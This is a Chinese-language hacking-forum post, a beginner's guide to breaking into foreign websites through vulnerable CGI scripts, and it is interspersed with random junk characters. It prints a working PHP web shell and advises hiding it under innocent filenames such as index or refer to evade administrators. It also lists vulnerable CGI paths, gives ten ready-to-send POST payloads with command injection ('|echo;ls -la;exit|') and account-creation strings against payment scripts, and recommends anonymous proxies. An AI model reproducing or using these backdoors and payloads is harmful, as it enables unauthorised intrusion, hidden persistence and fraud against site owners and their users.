CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
0 T7 z4 l7 x& U6 G% j2 c( Z大家好 我是bboyhip  只是一名菜菜的exploiter
很开心来到贵论坛
' b( u! I1 V+ }  o这里让我感觉 很有技术交流的感觉
$ i1 q$ i, M! {  L, V$ j我会长长来玩的
1 X, i+ ?7 |! k- C8 X6 f; {前言:
$ A3 c0 K( L0 T) ]4 E8 j以下讲解针对欧美日本网站
3 \) c4 y3 x& c0 k5 R0 M當我們在做滲透分析的時候 方法有很多
我门都知道 国外伺服器大多是linux 平台
8 O- Y4 x* M' [5 T! x) ]所以有很多网站程序有6成都会使用cgi 脚本来管理
2 z" F/ O9 `6 W: W目录为/cgi-bin/
* f3 i1 F5 D4 j& e8 D# G
$ N$ y* `* [; q& a+ C5 D9 u只是个人在实务上一些经验
写的不好 请多多见谅喔
/ e6 c3 f4 ]! A+ `1 O6 x9 K在这里我简单分为几个部份一定要會的
/ M7 o$ g/ j0 L; `2 }% I讲解一下
让没有基础的人很容易上手
0 Q" a' h- \% u( ^& c& N
  T* D4 X; t7 h以下内容跟帖回复才能看到
! a% n4 v* F' C1 z# @==============================
; K; d% R1 R$ }2 p! ?( `
第1部份: 何谓Shell?
6 X( U1 A  R6 k  o( HShell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
2 Z- l5 E2 p" R9 EA shell is the program which reads user input from the command line and executes actions based upon that input.
意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.

对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
" x8 \4 [" g4 o$ j7 e) d  E6 v所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.

第2部份: Unix 指令
以下是一些常见及重要的指令:
pwd: 显示当前目录, 即是後门/程式所在的位置
如 /home/www/site.com/cgi-bin/
+ m% @9 N; K3 Z. \, els: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
ls -al :详细列出档案资料(当前目录)
! C9 H) X' |! w! rls /: 列出根目录
9 D+ B4 [9 a& p. }, N, bls /etc: 列出/etc的资料夹及档案
2 G: J4 C3 G7 x3 d: [5 S' ^ls ../ -al: 详细列出上一层的资料夹及档案
5 W' F; r* \7 g( z3 A+ W: _: h" E. Mcat: 显示档案内容
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
9 o  }0 H* h- T5 H$ m, Ywho: 显示谁login 至系统
man: 显示指令用法  
man ls: 显示ls这指令的用法  
) K: K$ u. f/ q2 Y, F3 lmkdir 建立目录
& t8 d( N* L1 h2 ]8 jrmdir 删除目录
mv 移动档案
3 D+ Z+ S) g9 ~6 w" G- Brm 删除档案
$ W& V) [, j! T. e+ W
8 m. E) g2 q; R2 N第3部份: Shell的使用
例如:
' K! |6 f9 m8 x5 Yhttp://site.com/refer.php
这是我的後门, 原代码如下:
<Form Action="#" Method="POST">
<Input type="text" name="cmd">
* c4 {$ E7 ~& F1 t" @# O+ e<Input type="Submit">
" [& I+ d  ~* A1 W" {</Form>
- [4 s' I" b# V. M" G, s<?php
, q0 I6 p4 ~! t& D4 V6 O7 t$cmd = $_POST['cmd'];
7 }  i+ e) ^7 B6 k. W( R$Output = shell_exec($cmd);
echo $Output;
?>
输入pwd, 可得到绝对路径:
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
- w/ ~1 k" X. ?3 r9 I
6 I( R5 n5 I9 y& ]0 D: l第4部份: 注意事项
- 使用匿名代理, 保障自己
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
2 z" h! K: U: J+ i0 T8 ?- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
2 ?1 ?4 o! w) h" o' C5 _不容易被发现.
6 Z3 u% p+ A- M, A0 h2 M- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
针对网站的渗透分析方法太多了
这篇文章的重点是cgi 脚本攻击
5 Q- b0 \2 e3 ~# s9 R: I所以我用简单的叙述形容
5 ^6 i# h7 S- ^: a开始讲解脚本入侵过程:
在这里提供一些方法思路让大家学习一下
. _1 }, h  n' b: `. J/ M) }' N6 b. U
1.一开始对一个网站进行cgi漏洞扫描
我们需要的东西有
4 }8 L5 n+ R# C8 I& i# }8 K扫洞工具 如:triton..等等
. u6 G& W- T/ t: w# ^( u: aE表
( L! K. D, f+ U& N如
2 s) x4 H4 B8 e2 l7 O9 }, {9 h/cgi-bin/add-passwd.cgi
, k% W" R4 Q3 E  n1 Z/WebShop/templates/cc.txt
( s  }" c. T2 C/ ]+ @- R+ f2 A# T/Admin_files/order.log
7 W: {+ ~  o- X% f# d! D/orders/mountain.cfg
/cgi-sys/cart.pl
/scripts/cart.pl
- _+ h' d" s3 M: b) c, W/htbin/cart.pl
9 M  j( l2 C4 Q" _* GE表来源可以是网路收寻或是自己的0 day

0 @5 G! ^0 u+ v) Y9 S2.怎样确认扫到的洞 是真的还假的?
0 Y0 i3 K' l' w9 Y+ R. q举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
4 L3 I" J5 t2 }! p0 m- k: U一般都是在IE里先看一下的,记住这个返回码哦
" M' m8 m- {4 C" i8 L' JERROR:This script should be referenced with a METHOD of POST.
: _3 o& E4 ~( \5 O没有返回一定是假的
8 C5 B7 [. N9 S1 J! r- X6 R3.重来来了 很多人都会问我
他扫到很多洞 但是不会使用
5 _( }. }4 u- A0 B4 B3 k  P( ^因为这些漏洞 使用的语法 称为post
2 ?; s% q  T# G+ `& [7 L5 V, g我们要找post 的方法很多
; b- q/ s3 ^3 o& z6 b! ~3 M可以是源代码分析 找出介质
或是用抓包工具 抓他的语法...等等
* c) [6 s, q4 {% x  b; a
以下我提供10个 cgi 洞以及使用方法post
+ N: R* ]1 d0 f' r  q让大家可以针对网站去做扫描  
. A7 p6 G& N8 H) z/index.cgi
! f+ D3 [( q- E! mwei=ren&gen=command
/passmaster.cgi
# c  D* i+ T' x9 [  O5 }4 a6 RAction=Add&Username=Username&Password=Password
1 H7 p& ]" n2 b- p* R0 t+ o/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
# w% v: v& y# D. o( e/form.cgi
+ \* g* N" V# J0 s" Lname=xxxx&email=email&subject=xxxx&response=|echo;ls|
7 K" E2 U% p" [0 c/ S6 k1 l! d/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
7 j+ Q8 {( ^9 I/ _user=username&pass=Password&confirm=Password
) h8 O! n( D8 P# R0 `& ]/ccbill-local.asp
post_values=username:password
/count.cgi
pinfile=|echo;ls -la;exit|
/recon.cgi
/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
/verotelrum.pl
$ f% T% X4 U( q6 @4 [9 E/ Qvercode=username:password:dseegsow:add:amount<&30>
/af.cgi_browser_out=|echo;ls -la;exit;|
9 v' [4 E3 p& f1 J/ B7 o! d
, C, c* z( M& E9 |; }7 L. u/ C6 l% d! J今天就讲到这  感谢大家支持
+ |( h9 A3 a; C